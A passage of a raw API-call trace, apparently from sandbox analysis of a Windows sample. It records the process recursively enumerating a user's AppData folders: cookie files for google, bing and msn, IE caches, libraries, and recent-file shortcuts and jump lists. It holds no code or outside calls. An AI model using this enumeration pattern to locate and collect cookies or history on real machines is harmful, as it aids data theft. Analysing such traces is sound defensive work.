IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\adu0vk_iwa5kls@google[1].txt") returned 94 [0119.325] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\adu0vk_iwa5kls@google[2].txt") returned 94 [0119.325] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 75 [0119.325] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned 69 [0119.325] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*") returned 71 [0119.325] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.325] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\adu0vk_iwa5kls@ad13.adfarm1.adition[2].txt") returned 112 [0119.325] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\adu0vk_iwa5kls@adfarm1.adition[1].txt") returned 107 [0119.325] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\adu0vk_iwa5kls@c.bing[1].txt") returned 98 [0119.325] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\adu0vk_iwa5kls@c.msn[1].txt") returned 97 [0119.325] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\adu0vk_iwa5kls@www.msn[1].txt") returned 99 [0119.325] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat") returned 79 [0119.326] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.326] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.326] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache") returned 71 [0119.326] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*") returned 73 [0119.326] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.326] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low") returned 75 [0119.326] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*") returned 77 [0119.326] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.326] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.326] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.326] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache") returned 68 [0119.326] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*") returned 70 [0119.326] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat") returned 78 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low") returned 72 [0119.327] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*") returned 74 [0119.327] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.327] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\index.dat") returned 82 [0119.327] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.327] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.327] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned 67 [0119.327] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned 69 [0119.327] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 79 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 88 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 84 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 87 [0119.327] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 85 [0119.327] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.327] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts") returned 75 [0119.327] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*") returned 77 [0119.327] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.327] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.328] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 75 [0119.328] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned 77 [0119.328] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.328] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.328] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE") returned 66 [0119.328] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*") returned 68 [0119.328] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.328] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\index.dat") returned 76 [0119.328] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low") returned 70 [0119.328] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*") returned 72 [0119.328] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.328] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.328] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0119.328] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 64 [0119.328] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned 66 [0119.328] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0119.328] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\--5T-LWBO4qPlwr80xX.lnk") returned 88 [0119.328] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-1JSsmrRvdD.lnk") returned 80 [0119.328] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\05oewX0nTg7og.lnk") returned 82 [0119.328] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\05Y fIJosdW2xmY-cgo.lnk") returned 88 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0c6f.lnk") returned 73 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\0uK2pZE4 F.lnk") returned 79 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\129DShJr6JeMp6.lnk") returned 83 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1AuteqdBfZ5_r_d4hu.lnk") returned 87 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1eHisKgXjHl6Wmlw.lnk") returned 85 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1I1sy gtfNb.lnk") returned 80 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\1wznGzUb8H6Td3m.lnk") returned 84 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2 cCXwBOWq.lnk") returned 79 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2siSwt.lnk") returned 75 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\2xS9Su94RVD1fJ8.lnk") returned 84 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\4cCVdCfRqm2PKclZuyd.lnk") returned 88 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5mZuS5LT8jNy.lnk") returned 81 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5U0Uje3nOh1.mkv.lnk") returned 84 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\5Vq7ts5XTUL1xNW-PMiE.swf.lnk") returned 93 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7afW-7SI7.swf.lnk") returned 82 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7jVJ4osGzJwCy_Y4s.lnk") returned 86 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7U3kuCCTRZq.lnk") returned 80 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7x64SqJgXq6AM.lnk") returned 82 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7YTw8u-vZmO896.flv.lnk") returned 87 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8T2Yzi557X7D oilu.lnk") returned 86 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8WjgjvsnAuD.lnk") returned 80 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9- yRI8eQIRgN6sI.lnk") returned 85 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9FO7CXk4r.lnk") returned 78 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aeB3H1UvGkVj.mkv.lnk") returned 85 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aLAaA.lnk") returned 74 [0119.329] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Anej262H4hu3zyirkUH.lnk") returned 88 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aNziRH8Mnq.lnk") returned 79 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 86 [0119.330] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*") returned 88 [0119.330] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.330] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms") returned 128 [0119.330] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\47bb2136fda3f1ed.automaticDestinations-ms") returned 128 [0119.330] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\69bacc0499d41c4.automaticDestinations-ms") returned 127 [0119.330] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms") returned 128 [0119.330] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned 128 [0119.330] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f7ab1d7d6dc0dad4.automaticDestinations-ms") returned 128 [0119.330] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\b XijLkCai0.flv.lnk") returned 84 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\b7JXWOYO49E59efDo.lnk") returned 86 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bajL7.lnk") returned 74 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bT2EWIE0.lnk") returned 77 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CbyuVmzxEB.lnk") returned 79 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ckA1aqPB jL.flv.lnk") returned 84 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cl984rprW7Pwzi3VVK.swf.lnk") returned 91 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cOEr.mkv.lnk") returned 77 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ct1A.lnk") returned 73 [0119.330] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 83 [0119.330] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*") returned 85 [0119.330] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0119.331] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1b4dd67f29cb1962.customDestinations-ms") returned 122 [0119.331] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: 